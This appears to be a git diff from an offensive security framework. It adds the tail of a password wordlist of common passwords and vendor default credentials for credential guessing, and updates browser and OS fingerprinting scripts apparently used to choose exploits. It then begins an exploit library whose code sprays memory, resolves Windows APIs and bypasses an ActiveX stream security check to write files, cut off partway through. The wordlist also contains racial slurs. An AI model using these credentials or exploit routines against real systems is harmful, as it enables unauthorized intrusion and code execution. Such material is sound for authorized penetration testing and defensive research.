+marvin +maryjane +mason +master +masterkey +masterok +mathew +matrix +matt +matthew +matthew1 +mature +maureen +maurice +mauricio +maverick +maxima +maximus +maxine +maxwell +maymay +mayra +mazafaka +mc1029 +mckenzie +mcknight88 +me +mediator +medina +medion +megabit +megan +megatron +meghan +melanie +melinda +melisa +melissa +melody +melvin +member +mememe +mendoza +mercedes +mercury +merlin +mermaid +metallic +metallica +mexican +mexico +mexx6399 +mfd +mhine +mi +miamor +michael +michael1 +michaela +michaell +micheal +michel +michelangelo +michele +michelle +michelle1 +michigan +mickey +mickeymouse +microbusiness +microsoft +midnight +mierda +miguel +mihaela +mike +mikeiscool +mikel +mikey +milagros +milkshake +miller +millie +mine +minime +minnie +miracle +miranda +miriam +mirrormirror +mississippi +missy +mistress +misty +mitchell +mlusr +mmmmmm +mngt +moises +mollie +molly +momdad +mommy +mommy1 +momof +monday +money +money1 +monica +monika +monique +monitor +monkey +monkey1 +monkey2 +monkeybutt +monkeyl +monkeyo +monkeys +monster +montana +moocow +mookie +moomoo +moonlight +moose +morales +morena +moreno +morgan +morris +mother +motorola +mountain +mountfs +mountfsys +mountsys +mouse +movie +mozart +mp3mystic +mpegvideo +mtch +mtcl +mu +muffin +muffinman +mujama +mummy +mumuland +munchkin +munchkin10 +mupali +murphy +music +musica +mustang +mustang70 +muze +mvemjsunp +mwmwmw +my +my_DEMARC +myangel +mybaby +mykids +mylife +mylove +myname +mysecretpassword0* +myself +myspace +myspace1 +mysweex +n0d0ubt1 +n0ttelling +naadmin +nadine +naked +nancy +naruto +nas123 +nascar +natalia +natalie +natasha +nathan +nathaniel +naughty +naynay +ncadmin +ncc1701 +ncc1701d +ncrm +negrita +nelly +nelson +nemesis +nemtom1 +nenita +nerdnerd +net101 +netadmin +netbotz +netgear1 +netlink +netman +netnet +netopia +netscreen +network +nevaeh +new_password +newcastle +newlife +newport +news +newyork +nfmvta +nicecti +nicholas +nichole +nician +nickjonas +nicky +nicola +nicolas +nicole +nicole1 +nicole2 +nicolel +nicoleo +nigga +nigger +nightmare +nigugu +nike2008 +nikita +nikki +nimda +nimdaten +ninja +nintendo +nipple +nipples +nirvana +nissan +nitech +nitram +nm2user +nms +nmspw +no +nobchan +nobody +nokai +nokia +none +noodle +noodles +nopass +nopasswd +nopermission +norman +nortel +not4u2c +nothing +nottelling +nova21 +novell +november +november2 +novemberl +noway +npwfkl +nsa +nsi +nsroot +ntacdmax +ntpupdate +nttocn +number +number1 +number66 +nursing +nz0u4bbe +oceans11 +ocnc123 +october +october2 +octoberl +odiotodo +ods +offshore +oliver +olivia +omarion +omfglol1 +omgomg123 +omneon +onelove +online +ontology +op +opengate +openview +operator +oqksad +oracle +orange +orlando +orpheus +oscar +otbu+1 +ou812 +outlaw +overseer +p3t3rpan +p@ssw0rd +pa$$w0rd +pa$$word +pablo +packard +packers +paige +pakistan +paloma +pamela +pancho +panda +pandemonium +panget +pangit +pantera +pantera69 +panther +panthers +panties +paola +papito +par0t +paradise +paramore +paris +parker +parmesan +parola +parolamea +party +pasaway +pass +pass123 +passion +passion12 +passport +passw0rd +passw0rd1 +password +password1 +password1` +password2 +password201 +password209 +password55 +passwordl +passwordo +passwort +patches +pathology +patito +patricia +patrick +patrickb123 +patriots +patrol +paul +paula +paulina +pauline +paulo +pavilion +payton +pbxk1064 +peace +peaches +peanut +pearljam +pebbles +pedro +peekaboo +peewee +peluche +pelusa +pencil +penelope +penguin +penis +penny +pento +people +pepper +pepsi +pepsi2008 +pepson +perfect +peribit +permit +pervert +peter +peter123 +peterpan +petert999 +pfsense +phantom +philip +phillip +philly +phishfood +phoebe +phoenix +phoenix602 +photos +photoshop +phpbb +phplist +phpreactor +picard +pickle +pickles +picture +pictures +picus +pieceofshit +pierre +piggy +piglet +pikachu +pilou +pimp +pimpin +pimpl +pineapple +pink +pink2 +pinkie +pinkl +pinko +pinky +piolin +piranha +pirate +pirates +pisces +pitbull +pixadmin +pixmet2003 +pizza +pizza42 +platinum +playboy +player +playgirl +playstation +please +plokijuh +plopplop +pnadmin +poepchinees +pogiako +poi098 +pokemon +pokemon! +police +poll +pollito +poloppolop +pontiac +poohbear +poohl +pookie +poop +poopie +poopoo +poopy +popcorn +popeye +popidc +poppy +porn +porno +porsche +portakal1 +portugal +postgres +postmast +potter +powder1 +power +powerapp +powerdown +powermax +powerpower +ppmax2011 +pr1v4t3 +preciosa +precious +prelude +prepaid +preston +pretty +prettygirl +primat +prime +primenet +primeos +primos +prince +princes +princesa +princesita +princess +princess1 +princess2 +princessl +princesso +private +proba123 +progr3ss +promise +prost +protection +proxy +prtgadmin +pswrdpswrd +psycho +publ1c +public +pumpkin +punkin +punkrock +puppies +puppy +puppylove +purple +purple1 +purplel +pussies +pussy +pussy1 +pussycat +pw +pwp +pwpw +pwrchute +pyramid +q +q1q1q1 +q1q1q1q1 +q1q2q3q4 +q1w2e3r4 +q3kze7q +qaz123 +qaz74123 +qazw1234 +qazwsx +qazwsx!@# +qazwsx123 +qazwsx123456 +qazwsxedc +qazxsw2 +qazxswedc123 +qazzxc +qpgmr +qq123456 +qqqitx +qqqqqq +qscwdv +qsecofr +qserv +qsrv +qsrvbas +qsvr +qsysopr +queen +quepasa +questra +quser +qwas12 +qwe +qwe123 +qwe123!@# +qwe123. +qweQWE123 +qweasd123 +qweasd789 +qweasdzxc2 +qweewq123 +qweqweqwe +qwer +qwerqaz +qwert +qwert12345 +qwerty +qwerty09 +qwerty1 +qwerty12 +qwerty123 +qwerty1234567890 +qwerty7 +qwerty77 +qwertyl +qwertyui +qwertyuiop +qwertz123 +r@p8p0r+ +rabbit +rachael +rachel +rachelle +racing +radius +radware +rafael +ragnarok +rahasia +raider +raiders +raidzone +rainbow +rais +ramirez +ramona +random +randy +randy007 +ranger +rangers +raptor +raquel +raritan +rascal +raspberry +raven +raymond +rayong1234 +rayray +razor +rcustpw +rdc123 +read +read-only +read-write +readwrite +realmadrid +rebecca +rebel +rebelde +recover +recovery +red +red123 +reddog +redhat +redhead +redline +redneck +redorblue +redpoint +redrose +redrum +redskins +redsox +redwings +reformation +reggie +regina +regional +remember +renee +replicator +restoreonly1 +resumix +revision +rfnfyf +ricardo +richard +richard#1 +richie +ricky +rihanna +rikitiki +riley +ringer +riobravo +rivera +riverhead +rje +rmnetlm +rmon +rmon_admin +ro +robbie +robert +roberta +roberto +robin +robinson +rochelle +rock +rocker +rocket +rockme +rocknroll +rockon +rocks +rockstar +rocku +rocky +rockyou +rodney +rodopi +rodrigo +rodriguez +roland +role1 +rollerblade +rolltide +roman123 +romance +romania +romeo +ronald +ronaldinho +ronaldo +ronnie +ronson +rooney +rooster +root +root123 +root1234 +root4 +roota +rootadmin +rootme +rootpass +rootroot +rosario +rosebud +rosedale +roses +rosie +rosita +rotrot +round123 +router +roxana +roxanne +rsadmin +ruben +runder +runescape +runner +rush2112 +russell +russia +rusty +rutabaga +rw +rwa +rwmaint +ryan +ryanl +s!a@m#n$p%c +s3cret +s3cur3d +sabrina +sadie +sagitario +sailor +saints +sakura +salamander +sales +sallasana +sally +salope +salvador +samantha +sammie +sammy +samson +samsun +samsung +samsung34 +samuel +san-fran +sanayounes +sanchez +sandman +sandra +sandy +sanfran +santana +santiago +santos +sap123 +sapphire +sarah +sarita +sasha +sasman +sassy +sasuke +saturn +savage +savanna +savannah +sayang +saynomore +scarface +school +scifix +sclg +scmchangeme +scooby +scoobydoo +scooter +scorpio +scorpion +scotland +scott +scotty +scout +scrappy +scruffy +sebastian +secacm +secofr +secret +secure +secure123 +secure6 +security +seekanddestroy +selena +semmi +semperfi +senioro +september +serena +serenity +sergio +seri +serial# +sertafu +service +setmefree +setup +setup/nopasswd +seven +seventeen +sexsex +sexy +sexy2 +sexy6 +sexybabe +sexybaby +sexybitch +sexygirl +sexyl +sexylady +sexylove +sexymama +sexyme +sexyo +shadow +shadow1 +shadowl +shaggy +shakira +shakyamuni +shalom +shane +shannon +sharon +shasha +shaved +shawn +shawty +sheena +sheila +shelby +shelly +shin +shineonyou +shirley +shit +shithead +shiva +shooter +shopping +shorty +shortyl +shs +shuriken +shutdown +shutup +sidney +siemens123 +siempre! +sierra +signa +silver +silvia +simba +simon +simonb +simone +simple +simpleplan +simpson +simpsons +singer +single +sister +sisters +sitecom +skate +skater +skipper +skippy +skittles +skyler +skyline +skysky21 +skywalker +slayer +sldkj754 +slideshow +slipknot +slut +sluts +sma +smallbusiness +smallville +smcadmin +smelly +smile +smiles +smiley +smith +smokey +smooth +smudge +snake +snickers +sniper +snmp +snmp-Trap +snmpd +snmptrap +snoopy +snowball +snowflake +snowman +snuggles +soccer +soccer1 +soccer2 +soccerl +soccero +socent +sofia +sofresh +softball +softballl +software +sofuck +solaris +soledad +something +somtik +sonia +sophia +sophie +sosict +soulmate +southside +sp99dd +spacemonkeys +spanky +sparkle +sparky +special +specialist +speedxess +speedy +spencer +spider +spiderma +spiderman +spike +spike04 +spirit +spitfire +spoiled +sponge +spongebob +spooky +spooml +sporting +sports +spring +sprite +sq!us3r +squ1rrel +squirt +srinivas +ssladmin +ssp +stacey +stanley +star +starfish +stargate +stark123 +starl +starlight +stars +start123 +startrek +starwars +state119 +stay-off +steaua +steelers +stefan +stella +steph +stephanie +stephen +steve +steven +stevie +stewart +sticky +stingray +stinky +storageserver +store +stormy +strasburg +stratauser +stratfor +strawberry +strike +stuart +student +stupid +sublime +success +suck +sucker +suckit +suckme +sucks +sugar +summer +summero +sun +sun12345 +sunflower +sunny +sunset +sunsh1ne! +sunshine +sunshine1 +sunvision +super +supergeil +supergirl +superman +superpass +superstar +superstart +superuser +supervisor +support +supportpw +surecom +surfer +surt +susana +suzanne +suzuki +svcPASS83 +sweet +sweet16 +sweetheart +sweetie +sweetl +sweetness +sweetpea +sweets +sweety +swimmer +swimming +switch +swordfis +swordfish +sy123456 +sydney +symantec +symbol +sync +synnet +sys +sys/change_on_install +sysAdmin +sysadm +sysadmin +sysadmpw +sysbin +syslib +sysopr +syspw +system +system1 +system32 +system_admin +sysu +t00lk1t +t00tt00t +t0ch20x +t0ch88 +t0m&j3rry +t0talc0ntr0l4! +t1m3l0rd +taco66 +tagada +tagged +taki +talent +tamara +tanglefoot +tania +tanner +tarantula1 +tarheels +tasha +tasmannet +tatercounter2000 +tatiana +tattoo +taurus +taylor +taytay +tazmania +tdvcth +te +teX1 +teacher +teamo +teamomucho +tech +technolgi +teddy +teddybear +teen +teens +teiubesc +tekiero +telco +tele +telecom +telefone +tellabs#1 +telos +temp11 +temp1234 +temp12345 +temppass +tennis +tequiero +tequieromucho +tequila +teresa +term1nat0r +terrell +terry +test +test1 +test100 +test123 +test1234 +test2 +testbed +tester +testing +testpass +testtest +texas +thailand +the +thebest +thegame +theman +themaster01 +theone +theresa +therock +theused +thisisapassword1 +thomas +three4me +throwaway +thuglife +thumper +thunder +thx1138 +tiaranet +tickle +tiffany +tiger +tiger1 +tiger123 +tigers +tigger +tigger1 +tiggerl +time +time_out +timely +timmy +timothy +tini +tinker +tinkerbell +tintin +tiny +titanic +titkos +tits +tiv0li +tivoli +tivonpw +tj1234 +tlah +tmp123 +tokiohotel +tomcat +tommy +tony +toor +tootsie +topgun +toplayer +topsecret +toptop +tornado@ +torres +toshy99 +totototo +touchpwd= +tour +toyota +tr650 +tracey +trade +trancell +trap +travis +trendimsa1.0 +trevor +triangulation +trinidad +trinity +triptrap +trisha +tristan +trixie +trmcnfg +trooper +trouble +trucks +truelove +trustno +trustno1 +tslinux +tucker +tuff1234 +tunix +turkey +turnkey +turtle +tutor +tuxalize +tweety +tweetybird +tweetyl +twilight +twinkle +twins +tyler +tyrone +tyson +uClinux +uboot +ucsucs +umountfs +umountfsys +umountsys +undertaker +unicorn +unique +united +united123 +united99 +unix +uplink +urchin +user +user0000 +userNotU +usher +usulll +uucp +uucpadm +vagina +valentin +valentina +valentine +valentino +valeria +valerie +vampire +vanesa +vanessa +vanilla +vatefairefoutre +vatten +vegeta +venigo +ventilator +veronica +vertex25 +vfnmdfie +vgnadmin +vicky +victor +victoria +victory +video +vienna12 +vienna88 +viewmaster +viewuser1 +viking +vikings +vince123 +vincent +violet +violeta +viper +virgin +virginia +virginia11 +virgo +vishal123 +vision +vision2 +visor +visual +vitaly +vitesse +vivian +viviana +vivivi +vlis +voip123 +volcom +volition +volleyball +voodoo +voyager +vpasp +w00tw00t +w0rkplac3rul3s +w2402 +w8w00rd +wachtwoord +walker +wallace +walter +wampp +wanker +wanmei +warcraft +warpdrive +warren +warrior +warriors +water +waterfire12 +watermelon +wave123 +wayne +weasel +web +webadmin +webibm +weblink +weblogic +webmaster +weeslz +welcome +welcome1 +wendimia +wendy +wesley +west123 +westlife +westside +wg +whatever +white +whitebird +whitney +whore +whynot +wibbles +wicked +wildcat +wildcats +william +williams +willie +willow +wilson +windows +windows7 +winner +winnie +winston +winston1 +winter +winterm +wipro123 +wizard +wjltnt +wlcsystem +wlpisystem +wlsedb +wlsepassword +wodj +woelco +wolf +wolfgang +wolfpack +wolverin +wolves +wombat +women +woody +world +wrestling +wrgg15_di524 +write +wutang +www +wyse +x +x-admin +x40rocks +x6zynd56 +xampp +xavier +xbox +xbox360 +xboxe6 +xceladmin +xd +xdfk9874t3 +xdr56tfc +xerox +xiazhi +ximena +xinmen +xitgmLwmp +xljlbj +xmux +xo11nE +xpsm1210 +xunlei +xupamisto +xxxx +xxxxx +xxxxxx +xxxxxxxx +xxyyzz +xyuxyu +xyzall +xyzzy +yabadabadoo +yahoo +yakiniku +yamaha +yankee +yankees +yasmin +year2000 +yellow +yellow123 +yellow22 +yes90125 +yesenia +yolanda +yomama +young +yourmom +yourock +yousuck +yoyoyo +ytrewq +yugioh +yuiop +yvette +yvonne +yyl +z0x9c8v7 +zacefron +zachary +zaq1@WSX +zaq1xsw2 +zaq1xsw2cde3 +zaqwsxcde +zaxscdvf +zazazaza +zbaaaca +zebra +zeosx +zero0zero +zero2hero +zjaaadc +zmalqp10 +zodiac666 +zombie +zoomadsl +zse4rfv +zxcpoi123 +zxcvbn +zxcvbnm +zzzz +zzzzzz diff --git a/data/js/detect/ie_addons.js b/data/js/detect/ie_addons.js index d612bd7c78..380da28d12 100644 --- a/data/js/detect/ie_addons.js +++ b/data/js/detect/ie_addons.js @@ -1,10 +1,10 @@ -window.ie_addons_detect = { }; +var ie_addons_detect = { }; /** * Returns true if this ActiveX is available, otherwise false. * Grabbed this directly from browser_autopwn.rb **/ -window.ie_addons_detect.hasActiveX = function (axo_name, method) { +ie_addons_detect.hasActiveX = function (axo_name, method) { var axobj = null; if (axo_name.substring(0,1) == String.fromCharCode(123)) { axobj = document.createElement("object"); @@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) { /** * Returns the version of Microsoft Office. If not found, returns null. **/ -window.ie_addons_detect.getMsOfficeVersion = function () { +ie_addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); for (var i=1; i <= 5; i++) { diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index 2deaed1252..4246d752a7 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -1,10 +1,10 @@ -window.misc_addons_detect = { }; +var misc_addons_detect = { }; /** * Detects whether the browser supports Silverlight or not **/ -window.misc_addons_detect.hasSilverlight = function () { +misc_addons_detect.hasSilverlight = function () { var found = false; // @@ -46,10 +46,57 @@ window.misc_addons_detect.hasSilverlight = function () { return found; } +/** + * Returns the Adobe Flash version +**/ +misc_addons_detect.getFlashVersion = function () { + var foundVersion = null; + + // + // Gets the Flash version by using the GetVariable function via ActiveX + // + try { + var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString(); + foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.') + } catch (e) {} + + // + // This should work fine for most non-IE browsers + // + if (foundVersion == null) { + var mimes = window.navigator.mimeTypes; + for (var i=0; i"); switch (version){ case "514615": // IE 5.00.2920.0000, 2000 Advanced Server SP0 English ua_version = "5.0"; - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP0"; break; case "515907": - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109 break; case "518513": - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP4"; break; case "566626": // IE 6.0.2600.0000, XP SP0 English // IE 6.0.2800.1106, XP SP1 English ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP0"; break; case "568515": // IE 6.0.3790.0, 2003 Standard SP0 English ua_version = "6.0"; - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP0"; break; case "568820": // IE 6.0.2900.2180, xp sp2 english - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; break; case "568827": - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP1"; break; case "568831": //XP SP2 -OR- 2K SP4 - if (os_flavor == "2000"){ + if (os_name == "2000"){ os_sp = "SP4"; } else{ - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; } break; case "568832": - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP2"; break; case "568837": // IE 6.0.2900.2180, XP Professional SP2 Korean ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; break; case "5716599": @@ -782,7 +815,7 @@ window.os_detect.getVersion = function(){ // Since this scriptengine applies to more than one major version of // IE, rely on the object detection below to determine ua_version. //ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "575730": @@ -797,19 +830,19 @@ window.os_detect.getVersion = function(){ case "5718066": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "5722589": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "576000": // IE 7.0.6000.16386, Vista Ultimate SP0 English ua_version = "7.0"; - os_flavor = "Vista"; + os_name = "Windows Vista"; os_sp = "SP0"; break; case "580": @@ -821,13 +854,13 @@ window.os_detect.getVersion = function(){ case "5816762": // IE 8.0.7600.16385, Windows 7 English ua_version = "8.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP0"; break; case "5817514": // IE 8.0.7600.17514, Windows 7 SP1 English ua_version = "8.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "5818702": @@ -835,68 +868,109 @@ window.os_detect.getVersion = function(){ case "5822960": // IE 8.0.6001.18702, XP Professional SP3 Greek ua_version = "8.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "9016406": // IE 9.0.7930.16406, Windows 7 64-bit ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP0"; break; case "9016441": // IE 9.0.8112.16421, Windows 7 32-bit English ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016443": // IE 9.0.8112.16421, Windows 7 Polish // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016446": // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988) // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2) ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016464": // browsershots.org, MSIE 7.0 / Windows 2008 R2 - os_flavor = "2008R2"; + os_name = "Windows 2008 R2"; ua_version = "9.0"; break; case "9016470": // IE 9.0.8112.16421 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016502": + // IE 9.0.8112.16502 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016506": + // IE 9.0.8112.16506 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016514": + // IE 9.0.8112.16514 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016520": + // IE 9.0.8112.16520 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016526": + // IE 9.0.8112.16526 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; + os_sp = "SP1"; + break; + case "9016533": + // IE 9.0.8112.16533 / Windows 7 SP1 + ua_version = "9.0"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "10016720": // IE 10.0.9200.16721 / Windows 7 SP1 ua_version = "10.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "11016428": // IE 11.0.9600.16428 / Windows 7 SP1 ua_version = "11.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "10016384": // IE 10.0.9200.16384 / Windows 8 x86 ua_version = "10.0"; - os_flavor = "8"; + os_name = "Windows 8"; os_sp = "SP0"; break; + case "11016426": + // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English + ua_version = "11.0"; + os_name = "Windows 8.1"; + break; case "1000": // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release ua_version = "10.0"; - os_flavor = "8"; + os_name = "Windows 8"; os_sp = "SP0"; break; default: @@ -907,14 +981,40 @@ window.os_detect.getVersion = function(){ if (!ua_version) { // The ScriptEngine functions failed us, try some object detection if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") { - // IE8 detection straight from IEBlog. Thank you Microsoft. + // IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx try { - ua_version = "8.0"; - document.documentElement.style.display = "table-cell"; - } catch(e) { - // This executes in IE7, - // but not IE8, regardless of mode - ua_version = "7.0"; + if (document.__proto__ != undefined) { ua_version = "11.0"; } + } catch (e) {} + + // IE 10 detection using nodeName + if (!ua_version) { + try { + var badNode = document.createElement && document.createElement("badname"); + if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; } + } catch(e) {} + } + + // IE 9 detection based on a "Object doesn't support property or method" error + if (!ua_version) { + try { + document.BADNAME(); + } catch(e) { + if (e.message.indexOf("BADNAME") > 0) { + ua_version = "9.0"; + } + } + } + + // IE8 detection straight from IEBlog. Thank you Microsoft. + if (!ua_version) { + try { + ua_version = "8.0"; + document.documentElement.style.display = "table-cell"; + } catch(e) { + // This executes in IE7, + // but not IE8, regardless of mode + ua_version = "7.0"; + } } } else if (document.compatMode) { ua_version = "6.0"; @@ -936,7 +1036,7 @@ window.os_detect.getVersion = function(){ if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; } //-- - // Flavor + // Figure out the type of Windows //-- if (!ua_is_lying) { version = useragent.toLowerCase(); @@ -953,27 +1053,28 @@ window.os_detect.getVersion = function(){ else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; } else if (version.indexOf("linux") != -1) { os_name = oses_linux; } } - if (os_name == oses_windows && (!os_flavor || 0 == os_flavor.length)) { - if (version.indexOf("windows 95") != -1) { os_flavor = "95"; } - else if (version.indexOf("windows nt 4") != -1) { os_flavor = "NT"; } - else if (version.indexOf("win 9x 4.9") != -1) { os_flavor = "ME"; } - else if (version.indexOf("windows 98") != -1) { os_flavor = "98"; } - else if (version.indexOf("windows nt 5.0") != -1) { os_flavor = "2000"; } - else if (version.indexOf("windows nt 5.1") != -1) { os_flavor = "XP"; } - else if (version.indexOf("windows nt 5.2") != -1) { os_flavor = "2003"; } - else if (version.indexOf("windows nt 6.0") != -1) { os_flavor = "Vista"; } - else if (version.indexOf("windows nt 6.1") != -1) { os_flavor = "7"; } - else if (version.indexOf("windows nt 6.2") != -1) { os_flavor = "8"; } + if (os_name == oses_windows) { + if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; } + else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; } + else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; } + else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; } + else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; } + else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; } + else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; } + else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; } + else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; } + else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; } + else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; } } - if (os_name == oses_linux && (!os_flavor || 0 == os_flavor.length)) { - if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; } - else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; } - else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; } - else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; } - else if (version.indexOf("red hat") != -1) { os_flavor = "RHEL"; } - else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; } - else if (version.indexOf("fedora") != -1) { os_flavor = "Fedora"; } - else if (version.indexOf("android") != -1) { os_flavor = "Android"; } + if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) { + if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; } + else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; } + else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; } + else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; } + else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; } + else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; } + else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; } + else if (version.indexOf("android") != -1) { os_vendor = "Android"; } } //-- @@ -1031,7 +1132,9 @@ window.os_detect.getVersion = function(){ this.ua_is_lying = ua_is_lying; this.os_name = os_name; + this.os_vendor = os_vendor; this.os_flavor = os_flavor; + this.os_device = os_device; this.os_sp = os_sp; this.os_lang = os_lang; this.arch = arch; @@ -1039,10 +1142,10 @@ window.os_detect.getVersion = function(){ this.ua_version = ua_version; this.ua_version = ua_version; - return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; + return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; }; // function getVersion -window.os_detect.searchVersion = function(needle, haystack) { +os_detect.searchVersion = function(needle, haystack) { var index = haystack.indexOf(needle); var found_version; if (index == -1) { return; } @@ -1058,7 +1161,7 @@ window.os_detect.searchVersion = function(needle, haystack) { /* * Return -1 if a < b, 0 if a == b, 1 if a > b */ -window.ua_ver_cmp = function(ver_a, ver_b) { +ua_ver_cmp = function(ver_a, ver_b) { // shortcut the easy case if (ver_a == ver_b) { return 0; @@ -1102,15 +1205,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) { return 0; }; -window.ua_ver_lt = function(a, b) { +ua_ver_lt = function(a, b) { if (-1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_gt = function(a, b) { +ua_ver_gt = function(a, b) { if (1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_eq = function(a, b) { +ua_ver_eq = function(a, b) { if (0 == this.ua_ver_cmp(a,b)) { return true; } return false; }; diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js new file mode 100644 index 0000000000..434b36cf4d --- /dev/null +++ b/data/js/memory/explib2/lib/explib2.js @@ -0,0 +1,426 @@ + + +ExpLib = (function() { + + function ExpLib( num_arrays, arr_size, base, payload ) { + this.arr1 = null; + this.arr2 = null; + this.base = base; + this.arr_size = arr_size; + this.arr_arr = null; + // Allows to control the contents of the sprayed memory. + // Have into account some array positions will be corrupted + // while leaking and modifying things. + this.arr_contents = []; + + this.payload = payload; + this.modules = {} + this.getproc = null; + this.loadlibrary = null; + + // Offset to the Origin URL in the Stream, modifying it + // allows to bypass msado15.SecurityCheck(), allowing + // for example to write stream contents to filesystem. + this.stream_origin = 0x44; + } + + ExpLib.prototype.resolveAPI = function( modulename, procname ) { + var module = this.resolveModule( modulename ); + + return this.callAPI( this.getproc, module, this.allocateString(procname) ); + } + + ExpLib.prototype.resolveModule = function( modulename ) { + if ( this.modules[modulename] ) + return this.modules[modulename]; + + var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) ); + this.modules[modulename] = module; + return module; + } + + ExpLib.prototype.spray = function() { + this.arr_arr = new Array( num_arrays ); + + var decl = "["; + + for ( var i = 0; i < this.arr_size - 1; ++ i ) { + decl += '0,'; + 